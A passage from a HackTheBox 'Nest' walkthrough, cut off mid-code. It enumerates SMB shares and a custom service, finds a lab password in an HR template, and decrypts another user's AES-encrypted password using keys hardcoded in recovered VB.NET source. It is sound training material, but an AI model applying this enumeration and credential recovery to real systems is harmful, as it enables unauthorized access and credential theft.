<p>Getting root required to decompile some .NET executable to get some parameter
for the homemade encryption.</p>
<p><img alt="Nest card" class="align-left" src="/media/2020.06/nest_card.png" width="262"/></p>
<p>This is a writeup about a retired HacktheBox machine:
<a href="https://www.hackthebox.com/home/machines/profile/225">Nest</a>
This box is classified as an easy machine. It was publish on January the 25th by
<a href="https://www.hackthebox.com/home/users/profile/158833">VbScrub</a>.
This box is a bit different that the other ones on HTB. Until the last step you
never have a shell on the box (and none is needed to root it). All commands and
enumeration are done on the SMB service. There is also a personnalized service
HQK.</p>
<p>Getting user involve understanding a bit of cryptography (homemade combination
of base64 and AES) but nothing too complexe.</p>
<p>Getting root required to decompile some .NET executable to get some parameter
for the homemade encryption.</p>
<h1>User</h1>
<h2>Recon</h2>
<p>We start with an nmap scan. Only the ports 445 (SMB) and 4386 are open.</p>
<div class="highlight"><pre><span></span><code># Nmap 7.80 scan initiated Mon Jan 27 03:59:58 2020 as: nmap -p- -sS -oA nmap_p 10.10.10.178
Nmap scan report for 10.10.10.178
Host is up (0.26s latency).
Not shown: 65533 filtered ports
PORT STATE SERVICE
445/tcp open microsoft-ds
4386/tcp open unknown
# Nmap done at Mon Jan 27 04:08:04 2020 -- 1 IP address (1 host up) scanned in 485.47 seconds
</code></pre></div>
<h2>HQK Reporting Service</h2>
<p>We connect to the port 4386 using telnet. This service allow us to list the
files on the system but nothing more. The <code>DEBUG</code> function seems interesting but
we need a password for it.</p>
<div class="highlight"><pre><span></span><code>#telnet 10.10.10.178 4386
Trying 10.10.10.178...
Connected to 10.10.10.178.
Escape character is '^]'.
HQK Reporting Service V1.2
>help
This service allows users to run queries against databases using the legacy HQK format
--- AVAILABLE COMMANDS ---
LIST
SETDIR <directory_name>
RUNQUERY <query_id>
DEBUG <password>
HELP <command/>
>SETDIR C:\Users\
Current directory set to Users
>LIST
Use the query ID numbers below with the RUNQUERY command and the directory names with the SETDIR command
QUERY FILES IN CURRENT DIRECTORY
[DIR] Administrator
[DIR] All Users
[DIR] Default
[DIR] Default User
[DIR] Public
[DIR] Service_HQK
[DIR] TempUser
[1] desktop.ini
Current Directory: Users
</password></query_id></directory_name></code></pre></div>
<h2>SMB</h2>
<p>We enumerate the shares on the SMB server using metasploit. The share <code>Data</code>
seems interesting.</p>
<div class="highlight"><pre><span></span><code>msf5 > use auxiliary/scanner/smb/smb_enumshares
msf5 auxiliary(scanner/smb/smb_enumshares) > set RHOSTS 10.10.10.178
RHOSTS => 10.10.10.178
msf5 auxiliary(scanner/smb/smb_enumshares) > run
[+] 10.10.10.178:445 - ADMIN$ - (DISK) Remote Admin
[+] 10.10.10.178:445 - C$ - (DISK) Default share
[+] 10.10.10.178:445 - Data - (DISK)
[+] 10.10.10.178:445 - IPC$ - (IPC) Remote IPC
[+] 10.10.10.178:445 - Secure$ - (DISK)
[+] 10.10.10.178:445 - Users - (DISK)
[*] 10.10.10.178: - Scanned 1 of 1 hosts (100% complete)
</code></pre></div>
<p>We connect to this share anonymously and start to enumerate the folder and files
on the share. We quickly find a "Welcome Email" in the HR templates folder.</p>
<div class="highlight"><pre><span></span><code># smbclient //10.10.10.178/Data -U " "%" "
Try "help" to get a list of possible commands.
smb: \> cd Shared\Templates\HR
smb: \Shared\Templates\HR\> mget "Welcome Email.txt"
Get file Welcome Email.txt? y
getting file \Shared\Templates\HR\Welcome Email.txt of size 425 as Welcome Email.txt (0.3 KiloBytes/sec) (average 0.3 KiloBytes/sec)
</code></pre></div>
<p>This template email contain the username "TempUser" and its password.</p>
<div class="highlight"><pre><span></span><code># cat Welcome\ Email.txt
We would like to extend a warm welcome to our newest member of staff, <firstname> <surname>
You will find your home folder in the following location:
\\HTB-NEST\Users\<username>
If you have any issues accessing specific services or workstations, please inform the
IT department and use the credentials below until all systems have been set up for you.
Username: TempUser
Password: welcome2019
Thank you
HR
</username></surname></firstname></code></pre></div>
<h2>SBM as TempUser</h2>
<p>We can then connect to the SMB share using our "TempUser". We found a lot of
configuration files. The <code>RU_config.xml</code> contain what seems to be a base64
password for the c.smith user. We try to decode it using <code>base64 -d</code> but the result is not printable
characters.</p>
<div class="highlight"><pre><span></span><code># cat RU_config.xml
<?xml version="1.0"?>
<configfile xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<port>389</port>
<username>c.smith</username>
<password>fTEzAfYDoz1YzkqhQkH6GQFYKp1XY5hm7bjOP86yYxE=</password>
</configfile>
</code></pre></div>
<p>Looking a bit more at the files we found the NotepadPlusPlus configuration file
containing the history of the recently edited files. The
<code>\\HTB-NEST\Secure$\IT\Carl\Temp.txt</code> seems to be interesting.</p>
<div class="highlight"><pre><span></span><code>#tail config.xml
<find name="redeem on"></find>
<find name="192"></find>
<replace name="C_addEvent"></replace>
<history customlength="-1" insubmenu="no" nbmaxfile="15">
<file filename="C:\windows\System32\drivers\etc\hosts"></file>
<file filename="\\HTB-NEST\Secure$\IT\Carl\Temp.txt"></file>
<file filename="C:\Users\C.Smith\Desktop\todo.txt"></file>
</history>
</code></pre></div>
<p>We connect to the "Secure$" share and go to Carl's folder. The Temp.txt doesn't
exist anymore but we found some visual basic code in a WIP folder.</p>
<div class="highlight"><pre><span></span><code># smbclient //10.10.10.178/Secure$ -U "TempUser"%"welcome2019
smb: \IT\Carl\VB Projects\WIP\RU\RUScanner\> dir
. D 0 Wed Aug 7 18:05:54 2019
.. D 0 Wed Aug 7 18:05:54 2019
bin D 0 Wed Aug 7 16:00:11 2019
ConfigFile.vb A 772 Wed Aug 7 18:05:09 2019
Module1.vb A 279 Wed Aug 7 18:05:44 2019
My Project D 0 Wed Aug 7 16:00:11 2019
obj D 0 Wed Aug 7 16:00:11 2019
RU Scanner.vbproj A 4828 Fri Aug 9 11:37:51 2019
RU Scanner.vbproj.user A 143 Tue Aug 6 08:55:27 2019
SsoIntegration.vb A 133 Wed Aug 7 18:05:58 2019
Utils.vb A 4888 Wed Aug 7 15:49:35 2019
</code></pre></div>
<p>We download everything on our computer. The "Module1.vb" file is a module
loading a XML file "RU_config.xml" and using the Utils library to decode the
password stored in the file. We already have the XML file.</p>
<div class="highlight"><pre><span></span><code><span class="k">Module</span><span class="w"> </span><span class="nn">Module1</span>
<span class="w"> </span><span class="k">Sub</span><span class="w"> </span><span class="nf">Main</span><span class="p">()</span>
<span class="w"> </span><span class="k">Dim</span><span class="w"> </span><span class="n">Config</span><span class="w"> </span><span class="ow">As</span><span class="w"> </span><span class="n">ConfigFile</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">ConfigFile</span><span class="p">.</span><span class="n">LoadFromFile</span><span class="p">(</span><span class="s">"RU_Config.xml"</span><span class="p">)</span>
<span class="w"> </span><span class="k">Dim</span><span class="w"> </span><span class="n">test</span><span class="w"> </span><span class="ow">As</span><span class="w"> </span><span class="k">New</span><span class="w"> </span><span class="n">SsoIntegration</span><span class="w"> </span><span class="k">With</span><span class="w"> </span><span class="p">{.</span><span class="n">Username</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">Config</span><span class="p">.</span><span class="n">Username</span><span class="p">,</span><span class="w"> </span><span class="p">.</span><span class="n">Password</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">Utils</span><span class="p">.</span><span class="n">DecryptString</span><span class="p">(</span><span class="n">Config</span><span class="p">.</span><span class="n">Password</span><span class="p">)}</span>
<span class="w"> </span><span class="n">Console</span><span class="p">.</span><span class="n">WriteLine</span><span class="p">(</span><span class="s">"Hello"</span><span class="p">)</span>
<span class="w"> </span><span class="k">End</span><span class="w"> </span><span class="k">Sub</span>
<span class="k">End</span><span class="w"> </span><span class="k">Module</span>
</code></pre></div>
<p>The "Utils.vb" file contain the decrypting methods and the passphrase, the salt
value, the number of password iteration, the initialisation vector (for CBC mode)
and the key size.</p>
<div class="highlight"><pre><span></span><code><span class="k">Imports</span><span class="w"> </span><span class="nn">System.Text</span>
<span class="k">Imports</span><span class="w"> </span><span class="nn">System.Security.Cryptography</span>
<span class="k">Public</span><span class="w"> </span><span class="k">Class</span><span class="w"> </span><span class="nc">Utils</span>
<span class="w"> </span><span class="k">Public</span><span class="w"> </span><span class="k">Shared</span><span class="w"> </span><span class="k">Function</span><span class="w"> </span><span class="nf">GetLogFilePath</span><span class="p">()</span><span class="w"> </span><span class="ow">As</span><span class="w"> </span><span class="kt">String</span>
<span class="w"> </span><span class="k">Return</span><span class="w"> </span><span class="n">IO</span><span class="p">.</span><span class="n">Path</span><span class="p">.</span><span class="n">Combine</span><span class="p">(</span><span class="n">Environment</span><span class="p">.</span><span class="n">CurrentDirectory</span><span class="p">,</span><span class="w"> </span><span class="s">"Log.txt"</span><span class="p">)</span>
<span class="w"> </span><span class="k">End</span><span class="w"> </span><span class="k">Function</span>
<span class="w"> </span><span class="k">Public</span><span class="w"> </span><span class="k">Shared</span><span class="w"> </span><span class="k">Function</span><span class="w"> </span><span class="nf">DecryptString</span><span class="p">(</span><span class="n">EncryptedString</span><span class="w"> </span><span class="ow">As</span><span class="w"> </span><span class="kt">String</span><span class="p">)</span><span class="w"> </span><span class="ow">As</span><span class="w"> </span><span class="kt">String</span>
<span class="w"> </span><span class="k">If</span><span class="w"> </span><span class="kt">String</span><span class="p">.</span><span class="n">IsNullOrEmpty</span><span class="p">(</span><span class="n">EncryptedString</span><span class="p">)</span><span class="w"> </span><span class="k">Then</span>
<span class="w"> </span><span class="k">Return</span><span class="w"> </span><span class="kt">String</span><span class="p">.</span><span class="n">Empty</span>
<span class="w"> </span><span class="k">Else</span>
<span class="w"> </span><span class="k">Return</span><span class="w"> </span><span class="n">Decrypt</span><span class="p">(</span><span class="n">EncryptedString</span><span class="p">,</span><span class="w"> </span><span class="s">"N3st22"</span><span class="p">,</span><span class="w"> </span><span class="s">"88552299"</span><span class="p">,</span><span class="w"> </span><span class="mi">2</span><span class="p">,</span><span class="w"> </span><span class="s">"464R5DFA5DL6LE28"</span><span class="p">,</span><span class="w"> </span><span class="mi">256</span><span class="p">)</span>
<span class="w"> </span><span class="k">End</span><span class="w"> </span><span class="k">If</span>
<span class="w"> </span><span class="k">End</span><span class="w"> </span><span class="k">Function</span>
<span class="w"> </span><span class="k">Public</span><span class="w"> </span><span class="k">Shared</span><span class="w"> </span><span class="k">Function</span><span class="w"> </span><span class="nf">EncryptString</span><span class="p">(</span><span class="n">PlainString</span><span class="w"> </span><span class="ow">As</span><span class="w"> </span><span class="kt">String</span><span class="p">)</span><span class="w"> </span><span class="ow">As</span><span class="w"> </span><span class="kt">String</span>
<span class="w"> </span><span class="k">If</span><span class="w"> </span><span class="kt">String</span><span class="p">.</span><span class="n">IsNullOrEmpty</span><span class="p">(</span><span class="n">PlainString</span><span class="p">)</span><span class="w"> </span><span class="k">Then</span>
<span class="w"> </span><span class="k">Return</span><span class="w"> </span><span class="kt">String</span><span class="p">.</span><span class="n">Empty</span>
<span class="w"> </span><span class="k">Else</span>
<span class="w"> </span><span class="k">Return</span><span class="w"> </span><span class="n">Encrypt</span><span class="p">(</span><span class="n">PlainString</span><span class="p">,</span><span class="w"> </span><span class="s">"N3st22"</span><span class="p">,</span><span class="w"> </span><span class="s">"88552299"</span><span class="p">,</span><span class="w"> </span><span class="mi">2</span><span class="p">,</span><span class="w"> </span><span class="s">"464R5DFA5DL6LE28"</span><span class="p">,</span><span class="w"> </span><span class="mi">256</span><span class="p">)</span>
<span class="w"> </span><span class="k">End</span><span class="w"> </span><span class="k">If</span>
<span class="w"> </span><span class="k">End</span><span class="w"> </span><span class="k">Function</span>
<span class="w"> </span><span class="k">Public</span><span class="w"> </span><span class="k">Shared</span><span class="w"> </span><span class="k">Function</span><span class="w"> </span><span class="nf">Encrypt</span><span class="p">(</span><span class="k">ByVal</span><span class="w"> </span><span class="n">plainText</span><span class="w"> </span><span class="ow">As</span><span class="w"> </span><span class="kt">String</span><span class="p">,</span><span class="w"> </span>_
<span class="w"> </span><span class="k">ByVal</span><span class="w"> </span><span class="n">passPhrase</span><span class="w"> </span><span class="ow">As</span><span class="w"> </span><span class="kt">String</span><span class="p">,</span><span class="w"> </span>_
<span class="w"> </span><span class="k">ByVal</span><span class="w"> </span><span class="n">saltValue</span><span class="w"> </span><span class="ow">As</span><span class="w"> </span><span class="kt">String</span><span class="p">,</span><span class="w"> </span>_
<span class="w"> </span><span class="k">ByVal</span><span class="w"> </span><span class="n">passwordIterations</span><span class="w"> </span><span class="ow">As</span><span class="w"> </span><span class="kt">Integer</span><span class="p">,</span><span class="w"> </span>_
<span class="w"> </span><span class="k">ByVal</span><span class="w"> </span><span class="n">initVector</span><span class="w"> </span><span class="ow">As</span><span class="w"> </span><span class="kt">String</span><span class="p">,</span><span class="w"> </span>_
<span class="w"> </span><span class="k">ByVal</span><span class="w"> </span><span class="n">keySize</span><span class="w"> </span><span class="ow">As</span><span class="w"> </span><span class="kt">Integer</span><span class="p">)</span><span class="w"> </span>_
<span class="w"> </span><span class="ow">As</span><span class="w"> </span><span class="kt">String</span>
<span class="w"> </span><span class="k">Dim</span><span class="w"> </span><span class="n">initVectorBytes</span><span class="w"> </span><span class="ow">As</span><span class="w"> </span><span class="kt">Byte</span><span class="p">()</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">Encoding</span><span class="p">.</span><span class="n">ASCII</span><span class="p">.</span><span class="n">GetBytes</span><span class="p">(</span><span class="n">initVector</span><span class="p">)</span>
<span class="w"> </span><span class="k">Dim</span><span class="w"> </span><span class="n">saltValueBytes</span><span class="w"> </span><span class="ow">As</span><span class="w"> </span><span class="kt">Byte</span><span class="p">()</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">Encoding</span><span class="p">.</span><span class="n">ASCII</span><span class="p">.</span><span class="n">GetBytes</span><span class="p">(</span><span class="n">saltValue</span><span class="p">)</span>
<span class="w"> </span><span class="k">Dim</span><span class="w"> </span><span class="n">plainTextBytes</span><span class="w"> </span><span class="ow">As</span><span class="w"> </span><span class="kt">Byte</span><span class="p">()</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">Encoding</span><span class="p">.</span><span class="n">ASCII</span><span class="p">.</span><span class="n">GetBytes</span><span class="p">(</span><span class="n">plainText</span><span class="p">)</span>
<span class="w"> </span><span class="k">Dim</span><span class="w"> </span><span class="n">password</span><span class="w"> </span><span class="ow">As</span><span class="w"> </span><span class="k">New</span><span class="w"> </span><span class="n">Rfc2898DeriveBytes</span><span class="p">(</span><span class="n">passPhrase</span><span class="p">,</span><span class="w"> </span>_
<span class="w"> </span><span class="n">saltValueBytes</span><span class="p">,</span><span class="w"> </span>_
<span class="w"> </span><span class="n">passwordIterations</span><span class="p">)</span>
<span class="w"> </span><span class="k">Dim</span><span class="w"> </span><span class="n">keyBytes</span><span class="w"> </span><span class="ow">As</span><span class="w"> </span><span class="kt">Byte</span><span class="p">()</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">password</span><span class="p">.</span><span class="n">GetBytes</span><span class="p">(</span><span class="k">CInt</span><span class="p">(</span><span class="n">keySize</span><span class="w"> </span><span class="o">/</span><span class="w"> </span><span class="mi">8</span><span class="p">))</span>
<span class="w"> </span><span class="k">Dim</span><span class="w"> </span><span class="n">symmetricKey</span><span class="w"> </span><span class="ow">As</span><span class="w"> </span><span class="k">New</span><span class="w"> </span><span class="n">AesCryptoServiceProvider</span>
<span class="w"> </span><span class="n">symmetricKey</span><span class="p">.</span><span class="n">Mode</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">CipherMode</span><span class="p">.</span><span class="n">CBC</span>
<span class="w"> </span><span class="k">Dim</span><span class="w"> </span><span class="n">encryptor</span><span class="w"> </span><span class="ow">As</span><span class="w"> </span><span class="n">ICryptoTransform</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">symmetricKey</span><span class="p">.</span><span class="n">CreateEncryptor</span><span class="p">(</span><span class="n">keyBytes</span><span class="p">,</span><span class="w"> </span><span class="n">initVectorBytes</span><span class="p">)</span>
<span class="w"> </span><span class="k">Using</span><span class="w"> </span><span class="n">memoryStream</span><span class="w"> </span><span class="ow">As</span><span class="w"> </span><span class="k">New</span><span class="w"> </span><span class="n">IO</span><span class="p">.</span><span class="n">MemoryStream</span><span class="p">()</span>
<span class="w"> </span><span class="k">Using</span><span class="w"> </span><span class="n">cryptoStream</span><span class="w"> </span><span class="ow">As</span><span class="w"> </span><span class="k">New</span><span class="w"> </span><span class="n">CryptoStream</span><span class="p">(</span><span class="n">memoryStream</span><span class="p">,</span><span class="w"> </span>_
<span class="w"> </span><span class="n">encryptor</span><span class="p">,</span><span class="w"> </span>_
<span class="w"> </span><span class="n">CryptoStreamMode</span><span class="p">.</span><span class="n">Write</span><span class="p">)</span>
<span class="w"> </span><span class="n">cryptoStream</span><span class="p">.</span><span class="n">Write</span><span class="p">(</span><span class="n">plainTextBytes</span><span class="p">,</span><span class="w"> </span><span class="mi">0</span><span class="p">,</span><span class="w"> </span><span class="n">plainTextBytes</span><span class="p">.</span><span class="n">Length</span><span class="p">)</span>
<span class="w"> </span><span class="n">cryptoStream</span><span class="p">.</span><span class="n">FlushFinalBlock</span><span class="p">()</span>
<span class="w"> </span><span class="k">Dim</span><span class="w"> </span><span class="n">cipherTextBytes</span><span class="w"> </span><span class="ow">As</span><span class="w"> </span><span class="kt">Byte</span><span class="p">()</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">memoryStream</span><span class="p">.</span><span class="n">ToArray</span><span class="p">()</span>
<span class="w"> </span><span class="n">memoryStream</span><span class="p">.</span><span class="n">Close</span><span class="p">()</span>
<span class="w"> </span><span class="n">cryptoStream</span><span class="p">.</span><span class="n">Close</span><span class="p">()</span>
<span class="w"> </span><span class="k">Return</span><span class="w"> </span><span class="n">Convert</span><span class="p">.</span><span class="n">ToBase64String</span><span class="p">(</span><span class="n">cipherTextBytes</span><span class="p">)</span>
<span class="w"> </span><span class="k">End</span><span class="w"> </span><span class="k">Using</span>
<span class="w"> </span><span class="k">End</span><span class="w"> </span><span class="k">Using</span>
<span class="w"> </span><span class="k">End</span><span class="w"> </span><span class="k">Function</span>
<span class="w"> </span><span class="k">Public</span><span class="w"> </span><span class="k">Shared</span><span class="w"> </span><span class="k">Function</span><span class="w"> </span><span class="nf">Decrypt</span><span class="p">(</span><span class="k">ByVal</span><span class="w"> </span><span class="n">cipherText</span><span class="w"> </span><span class="ow">As</span><span class="w"> </span><span class="kt">String</span><span class="p">,</span><span class="w"> </span>_
<span class="w"> </span><span class="k">ByVal</span><span class="w"> </span><span class="n">passPhrase</span><span class="w"> </span><span class="ow">As</span><span class="w"> </span><span class="kt">String</span><span class="p">,</span><span class="w"> </span>_
<span class="w"> </span><span class="k">ByVal</span><span class="w"> </span><span class="n">saltValue</span><span class="w"> </span><span class="ow">As</span><span class="w"> </span><span class="kt">String</span><span class="p">,</span><span class="w"> </span>_
<span class="w"> </span><span class="k">ByVal</span><span class="w"> </span><span class="n">passwordIterations</span><span class="w"> </span><span class="ow">As</span><span class="w"> </span><span class="kt">Integer</span><span class="p">,</span><span class="w"> </span>_
<span class="w"> </span><span class="k">ByVal</span><span class="w"> </span><span class="n">initVector</span><span class="w"> </span><span class="ow">As</span><span class="w"> </span><span class="kt">String</span><span class="p">,</span><span class="w"> </span>_
<span class="w"> </span><span class="k">ByVal</span><span class="w"> </span><span class="n">keySize</span><span class="w"> </span><span class="ow">As</span><span class="w"> </span><span class="kt">Integer</span><span class="p">)</span><span class="w"> </span>_
<span class="w"> </span><span class="ow">As</span><span class="w"> </span><span class="kt">String</span>
<span class="w"> </span><span class="k">Dim</span><span class="w"> </span><span class="n">initVectorBytes</span><span class="w"> </span><span class="ow">As</span><span class="w"> </span><span class="kt">Byte</span><span class="p">()</span>
<span class="w"> </span><span class="n">initVectorBytes</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">Encoding</span><span class="p">.</span><span class="n">ASCII</span><span class="p">.</span><span class="n">GetBytes</span><span class="p">(</span><span class="n">initVector</span><span class="p">)</span>
<span class="w"> </span><span class="k">Dim</span><span class="w"> </span><span class="n">saltValueBytes</span><span class="w"> </span><span class="ow">As</span><span class="w"> </span><span class="kt">Byte</span><span class="p">()</span>
<span class="w"> </span><span class="n">saltValueBytes</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">Encoding</span><span class="p">.</span><span class="n">ASCII</span><span class="p">.</span><span class="n">GetBytes</span><span class="p">(</span><span class="n">saltValue</span><span class="p">)</span>
<span class="w"> </span><span class="k">Dim</span><span class="w"> </span><span class="n">cipherTextBytes</span><span class="w"> </span><span class="ow">As</span><span class="w"> </span><span class="kt">Byte</span><span class="p">()</span>
<span class="w"> </span><span class="n">cipherTextBytes</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">Convert</span><span class="p">.</span><span class="n">FromBase64String</span><span class="p">(</span><span class="n">cipherText</span><span class="p">)</span>
<span class="w"> </span><span class="k">Dim</span><span class="w"> </span><span class="n">password</span><span class="w"> </span><span class="ow">As</span><span class="w"> </span><span class="k">New</span><span class="w"> </span><span class="n">Rfc2898DeriveBytes</span><span class="p">(</span><span class="n">passPhrase</span><span class="p">,</span><span class="w"> </span>_
<span class="w"> </span><span class="n">saltValueBytes</span><span class="p">,</span><span class="w"> </span>_
<span class="w"> </span><span class="n">passwordIterations</span><span class="p">)</span>
<span class="w"> </span><span class="k">Dim</span><span class="w"> </span><span class="n">keyBytes</span><span class="w"> </span><span class="ow">As</span><span class="w"> </span><span class="kt">Byte</span><span class="p">()</span>
<span class="w"> </span><span class="n">keyBytes</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">password</span><span class="p">.</span><span class="n">GetBytes</span><span class="p">(</span><span class="k">CInt</span><span class="p">(</span><span class="n">keySize</span><span class="w"> </span><span class="o">/</span><span class="w"> </span><span class="mi">8</span><span class="p">))</span>
<span class="w"> </span><span class="k">Dim</span><span class="w"> </span><span class="n">symmetricKey</span><span class="w"> </span><span class="ow">As</span><span class="w"> </span><span class="k">New</span><span class="w"> </span><span class="n">AesCryptoServiceProvider</span>
<span class="w"> </span><span class="n">symmetricKey</span><span class="p">.</span><span class="n">Mode</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">CipherMode</span><span class="p">.</span><span class="n">CBC</span>
<span class="w"> </span><span class="k">Dim</span><span class="w"> </span><span class="n">decryptor</span><span class="w"> </span><span class="ow">As</span><span class="w"> </span><span class="n">ICryptoTransform</span>
<span class="w"> </span><span class="n">decryptor</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">symmetricKey</span><span class="p">.</span><span class="n">CreateDecryptor</span><span class="p">(</span><span class="n">keyBytes</span><span class="p">,</span><span class="w"> </span><span class="n">initVectorBytes</span><span class="p">)</span>
<span class="w"> </span><span class="k">Dim</span><span class="w"> </span><span class="n">memoryStream</span><span class="w"> </span><span class="ow">As</span><span class="w"> </span><span class="n">IO</span><span class="p">.</span><span class="n">MemoryStream</span>
<span class="w"> </span><span class="n">memoryStream</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">New</span><span class="w"> </span><span class="n">IO</span><span class="p">.</span><span class="n">MemoryStream</span><span class="p">(</span><span class="n">cipherTextBytes</span><span class="p">)</span>
<span class="w"> </span><span class="k">Dim</span><span class="w"> </span><span class="n">cryptoStream</span><span class="w"> </span><span class="ow">As</span><span class="w"> </span><span class="n">CryptoStream</span>
<span class="w"> </span><span class="n">cryptoStream</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">New</span><span class="w"> </span><span class="n">CryptoStream</span><span class="p">(</span><span class="n">memoryStream</span><span class="p">,</span><span class="w"> </span>_
<span class="w"> </span><span class="n">decryptor</span><span class="p">,</span><span class="w"> </span>_
<span class="w"> </span><span class="n">CryptoStreamMode</span><span class="p">.</span><span class="n">Read</span><span class="p">)</span>
<span class="w"> </span><span class="k">Dim</span><span class="w"> </span><span class="n">plainTextBytes</span><span class="w"> </span><span class="ow">As</span><span class="w"> </span><span class="kt">Byte</span><span class="p">()</span>
<span class="w"> </span><span class="k">ReDim</span><span class="w"> </span><span class="n">plainTextBytes</span><span class="p">(</span><span class="n">cipherTextBytes</span><span class="p">.</span><span class="n">Length</span><span class="p">)</span>
<span class="w"> </span><span class="k">Dim</span><span class="w"> </span><span class="n">decryptedByteCount</span><span class="w"> </span><span class="ow">As</span><span class="w"> </span><span class="kt">Integer</span>
<span class="w"> </span><span class="n">decryptedByteCount</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">cryptoStream</span><span class="p">.</span><span class="n">Read</span><span class="p">(</span><span class="n">plainTextBytes</span><span class="p">,</span><span class="w"> </span>_
<span class="w"> </span><span class="mi">0</span><span class="p">,</span><span class="w"> </span>_
<span class="w"> </span><span class="n">plainTextBytes</span><span class="p">.</span><span class="n">Length</span><span class="p">)</span>
<span class="w"> </span><span class="n">memoryStream</span><span class="p">.</span><span class="n">Close</span><span class="p">()</span>
<span class="w"> </span><span class="n">cryptoStream</span><span class="p">.</span><span class="n">Close</span><span class="p">()</span>
<span class="w"> </span><span class="k">Dim</span><span class="w"> </span><span class="n">plainText</span><span class="w"> </span><span class="ow">As</span><span class="w"> </span><span class="kt">String</span>
<span class="w"> </span><span class="n">plainText</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">Encoding</span><span class="p">.</span><span class="n">ASCII</span><span class="p">.</span><span class="n">GetString</span><span class="p">(</span><span class="n">plainTextBytes</span><span class="p">,</span><span class="w"> </span>_
<span class="w"> </span><span class="mi">0</span><span class="p">,</span><span class="w"> </span>_
<span class="w"> </span><span class="n">decryptedByteCount</span><span class="p">)</span>
<span class="w"> </span><span class="k">Return</span><span class="w"> </span><span class="n">plainText</span>
<span class="w"> </span><span class="k">End</span><span class="w"> </span><span class="k">Function</span>
<span class="k">End</span><span class="w"> </span><span class="k">Class</span>
</code></pre></div>
<p>We fire up a Windows Box, install Microsoft Visual Basic 2010 Express and create
a new "Application Console project" with a simple module to decode the c.smith
password we got in the XML file.</p>
<p><img alt="creating a Application Console project" class="image-process-article-image" src="/media/2020.06/derivatives/article-image/nest_02.png"/></p>
<p>The code is the following. As the console is disappearing just after the run I
put a second print and run the program in debug mode.</p>
<div class="highlight"><pre><span></span><code><span class="k">Imports</span><span class="w"> </span><span class="nn">System.Text</span>
<span class="k">Imports</span><span class="w"> </span><span class="nn">System.Security.Cryptography</span>
<span class="k">Module</span><span class="w"> </span><span class="nn">Module1</span>
<span class="w"> </span><span class="k">Sub</span><span class="w"> </span><span class="nf">Main</span><span class="p">()</span>
<span class="w"> </span><span class="n">Console</span><span class="p">.</span><span class="n">WriteLine</span><span class="p">(</span><span class="n">Decrypt</span><span class="p">(</span><span class="s">"fTEzAfYDoz1YzkqhQkH6GQFYKp1XY5hm7bjOP86yYxE="</span><span class="p">,</span><span class="w"> </span><span class="s">"N3st22"</span><span class="p">,</span><span class="w"> </span><span class="s">"88552299"</span><span class="p">,</span><span class="w"> </span><span class="mi">2</span><span class="p">,</span><span class="w"> </span><span class="s">"464R5DFA5DL6LE28"</span><span class="p">,</span><span class="w"> </span><span class="mi">256</span><span class="p">))</span>
<span class="w"> </span><span class="n">Console</span><span class="p">.</span><span class="n">WriteLine</span><span class="p">(</span><span class="s">"fTEzAfYDoz1YzkqhQkH6GQFYKp1XY5hm7bjOP86yYxE="</span><span class="p">)</span>
<span class="w"> </span><span class="k">End</span><span class="w"> </span><span class="k">Sub</span>
<span class="w"> </span><span class="k">Public</span><span class="w"> </span><span class="k">Function</span><span class="w"> </span><span class="nf">Decrypt</span><span class="p">(</span><span class="k">ByVal</span><span class="w"> </span><span class="n">cipherText</span><span class="w"> </span><span class="ow">As</span><span class="w"> </span><span class="kt">String</span><span class="p">,</span><span class="w"> </span>_
<span class="w"> </span><span class="k">ByVal</span><span class="w"> </span><span class="n">passPhrase</span><span class="w"> </span><span class="ow">As</span><span class="w"> </span><span class="kt">String</span><span class="p">,</span><span class="w"> </span>_
<span class="w"> </span><span class="k">ByVal</span><span class="w"> </span><span class="n">saltValue</span><span class="w"> </span><span class="ow">As</span><span class="w"> </span><span class="kt">String</span><span class="p">,</span><span class="w"> </span>_
<span class="w"> </span><span class="k">ByVal</span><span class="w"> </span><span class="n">passwordIterations</span><span class="w"> </span><span class="ow">As</span><span class="w"> </span><span class="kt">Integer</span><span class="p">,</span><span class="w"> </span>_
<span class="w"> </span><span class="k">ByVal</span><span class="w"> </span><span class="n">initVector</span><span class="w"> </span><span class="ow">As</span><span class="w"> </span><span class="kt">String</span><span class="p">,</span><span class="w"> </span>_
<span class="w"> </span><span class="k">ByVal</span><span class="w"> </span><span class="n">keySize</span><span class="w"> </span><span class="ow">As</span><span class="w"> </span><span class="kt">Integer</span><span class="p">)</span><span class="w"> </span>_
<span class="w"> </span><span class="ow">As</span><span class="w"> </span><span class="kt">String</span>
<span class="w"> </span><span class="k">Dim</span><span class="w"> </span><span class="n">initVectorBytes</span><span class="w"> </span><span class="ow">As</span><span class="w"> </span><span class="kt">Byte</span><span class="p">()</span>
<span class="w"> </span><span class="n">initVectorBytes</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">Encoding</span><span class="p">.</span><span class="n">ASCII</span><span class="p">.</span><span class="n">GetBytes</span><span class="p">(</span><span class="n">initVector</span><span class="p">)</span>
<span class="w"> </span><span class="k">Dim</span><span class="w"> </span><span class="n">saltValueBytes</span><span class="w"> </span><span class="ow">As</span><span class="w"> </span><span class="kt">Byte</span><span class="p">()</span>
